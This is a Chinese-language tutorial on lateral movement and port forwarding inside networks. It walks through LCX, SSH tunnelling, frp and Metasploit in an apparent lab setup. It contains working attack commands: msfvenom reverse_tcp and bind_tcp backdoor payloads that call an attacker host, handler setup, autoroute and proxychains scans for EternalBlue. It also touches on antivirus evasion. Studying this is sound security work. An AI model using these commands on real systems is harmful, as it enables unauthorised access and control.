本篇文章记录内网穿透与端口转发的几种工具使用和部分原理。

0x01.LCX

LCX是一款十分经典的内网端口转发工具。基于Socket套接字,具有端口转发和端口映射的功能。目前很多杀软都已经将LCX工具加入了特征库,在实际使用的时候还需要做免杀处理。

为什么要做端口转发呢?

在内网环境中,通常会存在防火墙,限制了外部网络对内部网络的直接访问。例如限制了外部流量去连接内网机器的3389端口,那么我们就可以利用某些工具将3389端口的远程桌面服务转发到本机的4444端口,那么攻击者就可以访问4444连口来远程桌面连接。当然,这只是其中一个例子。

1.目标机有公网IP

环境:

攻击机:Windows 11 IP:192.168.17.1
目标机:windows server 2003 IP:192.168.17.133(有公网IP)

前提概要:

攻击者已经拿下了winserver 2003的主机权限,并且有公网IP能够直接访问。
接下来攻击者需要连接3389开启远程桌面,但是防火墙限制连接3389端口的IP必须为内网地址

既然已经拿到了目标机权限,向该主机传一个LCX.exe,注意这里没做免杀

执行命令

LCX.exe -tran 4444 127.0.0.1 3389

将本地系统上的 4444 端口和目标主机上的 3389 端口进行转发

当有连接尝试连接到本地系统的 4444 端口时,LCX 会将数据转发到目标主机的 3389 端口,从而实现远程桌面服务的端口转发。

用win11连接目标机的4444端口就能实现远程桌面控制了。

2.目标机无公网IP

环境:

攻击机:Windows 11 IP:192.168.17.1
目标机:windows server 2003 (无公网IP)
VPS:kali IP:192.168.17.129

前提概要:

目标机处于内网环境中,无法直接通过IP地址进行访问,通过Nat地址转换提供相关服务。

向 win2003 和 kali 都上传 LCX 工具,Linux中 LCX 工具可执行文件为 portmap

在kali中执行如下命令

./portmap -m 2 -p1 6666 -h2 192.168.17.129 -p2 7777

监听本地的6666端口,并将8888端口上接收的数据转发到本机的7777端口。

在win2003 执行如下命令

LCX.exe -slave 192.168.17.129 6666 127.0.0.1 3389

在目标机运行这个命令,通过反向连接,主动去连接kali的6666端口,并且保持通信。(这样可以绕过一些防火墙的限制)将kali设置为LCX从机模式,在6666监听数据,将接收到的数据转发到目标机的3389端口上。

连接kali的7777端口就能够实现远程桌面连接。

0x02 SSH

SSH(Secure Shell)是一种加密网络协议,用于在不安全的网络中提供安全的数据通信。能够加解密客户端与服务端通信的数据,SSH还有一个比较好用的功能,就是端口转发。可用于内网代理搭建。

简单网络拓扑环境:

1.正向代理

现在已经有了Centos7的主机权限,通过SSH搭建代理,实现kali对Windows7的远程桌面控制。

在kali机输入如下命令

ssh -L 8001:192.168.18.129:3389 root@192.168.17.135

将Win2003的3389端口转发到本机的8001,然后通过连接本机的8001就可以远程桌面连接Win2003

此时我们通过ssh登录的是Centos7的主机。接着输入命令连接Win2003

rdesktop 127.0.0.1:8001

这样就能远程连接内网的主机了,当然也可以转发web服务的端口等等。

这是SSH的正向代理,将内网主机的端口转发到本机的端口上进行访问,常用于渗透内网主机。

2.反向代理

接下来要说的就是SSH的反向代理,将本机(kali机)的端口(80端口)转发到Centos的内网网卡的特定端口上。

我们在kali上输入命令

ssh -R 192.168.18.130:8001:127.0.0.1:80 root@192.168.17.135

将kali机的80端口转发到Centos7主机的8001端口上。

首先kali上开启web服务

执行命令连接上Centos7

此时Centos7就开放了8001端口

此时它的地址是本地回环地址,只能在Centos7上访问

那么在Centos7上再做一个端口转发

ssh -L 192.168.18.130:8002:127.0.0.1:8001 root@192.168.18.130

将本机的8001端口转发到18网段网卡的8002端口上

此时已经成功开放了8002端口。通过内网的Windows7来访问

能够访问成功,常用于内网钓鱼。

3.socket代理

本地作为一个socket代理服务器,配置 proxychain 来实现对内网主机的扫描(不光只有扫描,只要是web工具都可以用)。

输入命令

ssh -D 8081 root@192.168.17.135

ssh连接上Centos后,查看端口发现开放了8081

这个8081端口开放的服务实际上就是一个socket代理服务。

编写 proxychain 的配置文件

vim /etc/proxychains4.conf

端口修改为socket服务的端口8081,在用nmap扫描后,可以配合 proxychains 挂代理扫描内网。

等了好久也没扫出来,是因为没有回来的流量,并没有做反向代理

0x03 Frp

frp是一个用于内网穿透的高性能的反向代理应用,支持TCP,UDP,HTTP,HTTPS等多种协议。可以将内网的服务通过具有公网IP的节点上发布到公网,也可以搭建socket代理。

frp是CS架构,在具有公网IP的节点上运行frp服务端,在内网主机上运行frp客户端

外网主机:windows11
VPS:kali 192.168.17.129
内网主机:windows8 192.168.17.132

在kali上配置frp服务端的配置文件

[common] #必须选项
bind_port = 7000 #frp服务端的监听端口
token = 12345 #认证
tcp_mux = fasle
dashboard_port = 7500 #frp后台管理端口
dashboard_user = admin #后台管理登录账号
dashboard_pwd = 12345 #后台管理登录密码
enable_prometheus = true

[ssh] #ssh反向代理(不是必须设置)
listen_port = 6000 是自己设定的ssh访问端口

[web] #http反向代理[]里的内容可以自己设定,但是客户端和服务端必须要对应(如[aaa],[bbb]);
type = http #为服务类型,可以设为http,https
custom_domains = test1.a.com #为要映射的域名,记得域名的A记录要解析到外网主机的IP。

[web2] #同上(可设置多个)

为了方便,就演示远程登录内网主机,所以在kali上就配置了必须选项。执行如下命令启动服务端

./frps -c frps.ini

在我们windows8的内网机上配置frp客户端。

配置客户端的配置文件如下

添加一个RDP服务,也就是远程桌面连接,将本机的3389端口映射到kali机上的7001。当然,也可以配置web服务,如下格式

[web] 
type = http
custom_domains = xilitter.com
local_ip = 127.0.0.1
local_port = 8080
subdomain = k2p #子域名

为了方便,就只配置了RDP。执行如下命令启动frp客户端

frpc.exe -c frpc.ini

这里已经连接成功了。最后再用我们的物理机windows11来连接kali机的7001端口,实现对内网主机windows8的远程桌面控制。

远程桌面连接成功。

0x04 MSF

利用kali的MSF渗透组件实现多级网络纵向渗透。

首先搭建简单的三级网络拓扑

重点在于MSF模块代理的搭建,默认是都能拿到主机shell的。

与我们直连的是WIndows7,利用MSF模块生成远控木马。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.17.129 lport=9999 -f exe > 1.exe

这里利用反向连接,因为Windows7主机是能够直接访问到我们的kali机的。

我们kali开启反向连接监听。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp

选择监听模块,设置反连,监听kali本机的7777端口。

执行run开启监听,在Windows7上运行生成的exe远控木马

成功拿到Windows7的shell,执行ipconfig发现有两张网卡

还有一个18网段的,将该网段添加静态路由

run autoroute -s 192.168.18.0/24

添加成功,之后就可以利用MSF的信息收集模块来扫18网段内存活的主机了

run post/windows/gather/arp_scanner RHOSTS=192.168.18.0/24

扫出来一个131和141,那么本网段还有一个存活主机192.168.18.131,如果像使用web工具,比如nmap等等,还需要搭建代理,配合proxychains

选择 auxiliary/server/socks_proxy 代理模块

设置回环ip以及默认socket代理服务端口1080,将版本设置为socks4

这样一个socks代理服务就搭建好了,修改proxychains的配置文件就可以使用了。

proxychains nmap -sT -sV -Pn -n -p22,80,135,445 --script=smb-vuln-ms* 192.168.18.131

nmap的这些参数是必须得要的,因为没有做反向代理,-Pn则禁止主机发现,直接扫描端口。

这里就扫描到该主机开放的端口以及存在的永恒之蓝漏洞,当然可以直接打永恒之蓝,但是我尝试正向连接不到shell,直接运行远控木马来拿shell了。

值得注意的是,这时候生成的远控木马要正向连接

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.18.131 lport=6666 -f exe -o test2.exe

kali正向连接监听

然后在08上运行就可以拿到shell了,之后还有个19的内网网段,一样的道理,就不再重复说了。

0x05 结语

遇到其他好用的内网代理工具会再次记录。